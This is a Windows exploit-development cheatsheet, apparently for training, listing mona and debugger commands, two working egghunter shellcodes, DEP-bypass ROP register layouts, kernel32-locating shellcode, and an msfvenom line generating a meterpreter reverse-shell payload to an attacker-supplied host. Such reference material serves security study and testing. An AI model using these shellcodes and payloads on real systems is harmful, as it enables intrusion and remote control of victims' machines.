Intro

A Windows oriented exploit development cheatsheet

¡ work in progress - expect regular updates and improvements !

Mona

  • Pattern Create
    !mona pc <crash buffer length>
  • Find injected pattern into executable memory structures
    mona will usually find an offset to nSEH, so we should add 4 to that value
    !mona -findmsp
  • Find JMP to ESP instruction (can be any JMP-to-Reg)
    !mona jmp -r ESP
  • Generate a bytearray to be used during bad characters discovery
    !mona bytearray
  • Compare previously generate byterray against address under our control
    !mona compare -f [full_path_to_bytearray.txt] -a 0x[address_under_control]
  • Find POP/POP/RET gadgets to override SEH
    !mona seh
  • Find ROP gadgets, suggestions and chains, while excluding bad chars
    !mona rop cpb "\x00\x0a"
  • Find a string in any memory location
    !mona find -type asc -s "w00t"

CDB/KDB

  • set dynamic symbols fetching]
    srv*c:\symbols*https://msdl.microsoft.com/download/symbols

  • attach/open process/file [invasive]
    cdb.exe -p ProcessID
    cdb.exe -pn FilenName.exe

  • attach/open process/file [non-invasive]
    cdb.exe -pv -p ProcessID
    cdb.exe -pv -pn FilenName.exe

  • break points
    bl - list all break points
    bc [bpID] - delete specific bp
    bp [functionName] - sets bp at functionName
    bp - [sets bp at current IP location]

  • execution controls
    g - go until next bp
    t - trace/execute til next instruction {step into a function}
    p - step/execute next instruction {step over a function}
    gu - go up until current function returns
    q - quit

  • [useful commands]
    x [module]![symbol] - Report the address of the specified symbols
    x *! - List all modules currently loaded
    x module!* - List all symbols and their addresses in the specified module
    x module!symbol* - List all of the symbols that match the “arg” wild-card filter
    lm - list all loaded modules (more detailed than x *!)
    !lmi [module] - list module info
    dt [symbol name] - display type of a symbol
    u - disassemble 8 instructions from current address
    u [address] - disassemble 8 from specified address
    u [start - end]
    uf routineName - diass specified route
    dd addressRange - display address range
    .formats [hex value] - display hex translation
    r - display registers

  • KD specific
    lm n - list loaded modules
    !process 0 0 - list all processes
    !process [Cid] 15 - get process details

  • peek into PEB
    .process [base address]
    !peb

  • registers command
    0rM [0-255] - dump register details with 8-bit mask

  • quit kd
    bc *
    g
    <ctrl b> <enter>

Egghunters

WinXP/7 (32-bit)

"\x66\x81\xCA\xFF\x0F"  #or dx,0x0fff   
"\x42"                  #inc edx                        
"\x52"                  #push edx                          
"\x6A\x43"              #push byte +0x2                    
"\x58"                  #pop eax                      
"\xCD\x2E"              #int 0x2e       
"\x3C\x05"              #cmp al,0x5                             
"\x5A"                  #pop edx        
"\x74\xEF"              #je xxxx        
"\xB8\x77\x30\x30\x74"  #mov eax,0x77303074
"\x8B\xFA"              #mov edi,edx   
"\xAF"                  #scasd         
"\x75\xEA"              #jnz xxxxxx    
"\xAF"                  #scasd         
"\x75\xE7"              #jnz xxxxx                  
"\xFF\xE7"              #jmp edi        

Win10 (32bit/WOW64)

"\x33\xD2"              #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  #OR DX,0FFF
"\x33\xDB"              #XOR EBX,EBX
"\x42"                  #INC EDX
"\x52"                  #PUSH EDX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x6A\x29"              #PUSH 29  (system call 0x29)
"\x58"                  #POP EAX
"\xB3\xC0"              #MOV BL,0C0
"\x64\xFF\x13"          #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10"          #ADD ESP,0x10
"\x5A"                  #POP EDX
"\x3C\x05"              #CMP AL,5
"\x74\xE3"              #JE SHORT
"\xB8\x77\x30\x30\x74"  #MOV EAX,74303077
"\x8B\xFA"              #MOV EDI,EDX
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              #JNZ SHORT
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              #JNZ SHORT
"\xFF\xE7"              #JMP EDI

DEP

Configuration

WinXP/2k3

/noexecute=policy [boot.ini]

Win Vista and above

bcdedit.exe /set nx [one of the following options]
OptIn    : Enables DEP only for operating system components, including the Windows kernel and drivers. Administrators can enable DEP on selected executable files by using the Application Compatibility Toolkit (ACT).
OptOut   : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. However, administrators can disable DEP on selected executable files by using System in Control Panel.<br>
AlwaysOn : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. All attempts to disable DEP are ignored.
AlwaysOff: Disables DEP. Attempts to enable DEP selectively are ignored<br>

DEP-defeating APIs

API Supported OS
NtSetInformationProcess XP/2003 server
SetProcessDEPPolicy XP/Vista SP1/2008 server
Virtual Protect all Win versions
Virtual Alloc all Win versions
WriteProcessMemory all Win versions
LoadLibrary all Win versions
MapViewOfFile all Win versions

Register Layout

Virtual Protect

Register setup:                                Example:
--------------------------------------------   --------------------------------------------
 EAX = NOP (0x90909090)                        EAX = 90909090
 ECX = lpOldProtect (ptr to W address)         ECX = 66DB8EEF (ptr to Writable location )
 EDX = NewProtect (0x40)                       EDX = 00000040 (PAGE_EXECUTE_READWRITE)
 EBX = dwSize                                  EBX = 00000216 (Any value around 0x300 is ok)
 ESP = lPAddress (automatic)                   ESP = 0019F20C (automatic - residing on the stack)                                
 EBP = ReturnTo (ptr to jmp esp)               EBP = 6AB01C06 (ptr to jmp esp)
 ESI = ptr to VirtualProtect()                 ESI = 772C7C70 (ptr to VirtualProtect() after dereferencing)
 EDI = ROP NOP (RETN)                          EDI = 6AB16202 (RETN aka ROP NOP)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp",below PUSHAD
--------------------------------------------

SetInformationProcess

Register setup:                            
 --------------------------------------------
  EAX = SizeOf(ExecuteFlags) (0x4)
  ECX = &ExecuteFlags (ptr to 0x00000002)
  EDX = ProcessExecuteFlags (0x22)
  EBX = NtCurrentProcess (0xffffffff)
  ESP = ReturnTo (automatic)
  EBP = ptr to NtSetInformationProcess()
  ESI = <not used>
  EDI = ROP NOP (4 byte stackpivot)
 --------------------------------------------

SetProcessDEPPolicy

Register setup:       
 --------------------------------------------
  EAX = <not used>
  ECX = <not used>
  EDX = <not used>
  EBX = dwFlags (ptr to 0x00000000)
  ESP = ReturnTo (automatic)
  EBP = ptr to SetProcessDEPPolicy()
  ESI = <not used>
  EDI = ROP NOP (4 byte stackpivot)
 --------------------------------------------

VirtualAlloc

Register setup:
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualAlloc()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualAlloc()
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------

Fixing a ROP chain manually

  • Simplify the chain grouping it by register/operation, for example start with this template

[Virtual Protect structure example]

      # EDX
      [GADGETS]
      # ESI
      [GADGETS]
      # EBX
      [GADGETS]
      # EBP
      [GADGETS]
      # EDI
      [GADGETS]
      # EAX
      [GADGETS]
      0x66db8eef,  # &Writable location
      # PUSHAD
      [GADGETS]
  • Use EAX as a skatch-pad register and leave it as a last register, before PUSHAD instruction.
  • Start first with gadgets that are polluting other registers.
  • Inspect rop.txt and rop_suggestions.txt for other gadgets with uncommon instructions (possibly affecting only EAX)

Shellcode

JUMPS

Relative

Intel Manual:                Example:
-------------------          --------------------------------------------
EB cb	JMP rel8	Jump short  '\xEB\x06'             JMP 8 bytes ahead  (including start of instruction)
E9 cd	JMP rel32	Jump near   '\xE9\xa3\xfd\xff\xff' JMP 600 bytes back (including start of instruction)          

Find Kernel32.dll with WinDBG

Tested on latest Win10 Version 10.0.18362.113

  1. Find offset 0x03 from FS register [Pointer to PEB]

    0:000> dp fs:[30]  L1
    0053:00000030  02e68000
    
  2. Get the pointer to PEB_LDR_DATA

    02e680000:000> dt nt!_PEB Ldr Ldr. 02e68000
    ntdll!_PEB
    +0x00c Ldr  : 0x776ddca0 _PEB_LDR_DATAC
      +0x000 Length : 0x30
      +0x004 Initialized : 0x1 ''
      +0x008 SsHandle : (null)
      +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x7ae6f58 - 0x838cf58 ]
      +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x7ae6f60 - 0x838cf60 ]
      +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x7ae2f68 - 0x7b3ef68 ]
      +0x024 EntryInProgress : (null)
      +0x028 ShutdownInProgress : 0 ''
      +0x02c ShutdownThreadId : (null)
    
  3. Get pointer to first entry in InMemoryOrderModuleList

    0:000> !list -t ntdll!_LIST_ENTRY.Flink -x "dd" -a "L1" 0x7ae6f60
    07ae6f60  07ae2f60 # ntdll.dll
    07ae2f60  07aeef60 # verifier.dll
    07aeef60  07afaf60 # kernel32.dll
    07afaf60  07b06f60 # kernelbase.dll
    
  4. Subtract the 8-byte linked-list data structure header.

    07afaf60 -0x8 = 7afaf58
    
  5. Get the base address from the third entry (it would normally be the 2nd entry!)

    0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY 7afaf58
    +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7b06f58 - 0x7aeef58 ]
    +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x7b06f60 - 0x7aeef60 ]
    +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x7b3ef68 - 0x7b06f68 ]
    +0x018 DllBase          : 0x772b0000 Void
    +0x01c EntryPoint       : 0x772c5f70 Void
    +0x020 SizeOfImage      : 0xe0000
    +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
    +0x02c BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"
    
  6. Double check dll base address with one-liner

    0:00> !peb
      Base TimeStamp                     Module
          380000 C:\Program Files (x86)\Internet Explorer\iexplore.exe
        775c0000 C:\Windows\SYSTEM32\ntdll.dll
        6a8f0000 C:\Windows\SysWOW64\verifier.dll
        772b0000 12f36500 Jan 28 12:56:32 1980 C:\Windows\System32\KERNEL32.DLL
    
  7. The full shellcode

    mov ebx, fs:0x30       ; Get pointer to PEB
    mov ebx, [ebx + 0x0C]  ; Get pointer to PEB_LDR_DATA
    mov ebx, [ebx + 0x14]  ; Get pointer to first entry in InMemoryOrderModuleList
    mov ebx, [ebx]         ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
    mov ebx, [ebx]         ; Get pointer to second (verifier.dll) entry in InMemoryOrderModuleList
    mov ebx, [ebx]         ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
    mov ebx, [ebx + 0x10]  ; Get kernel32.dll base address

MSFvenom

Generate python shellcode (i.e. bindhsell) to fit into the exploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>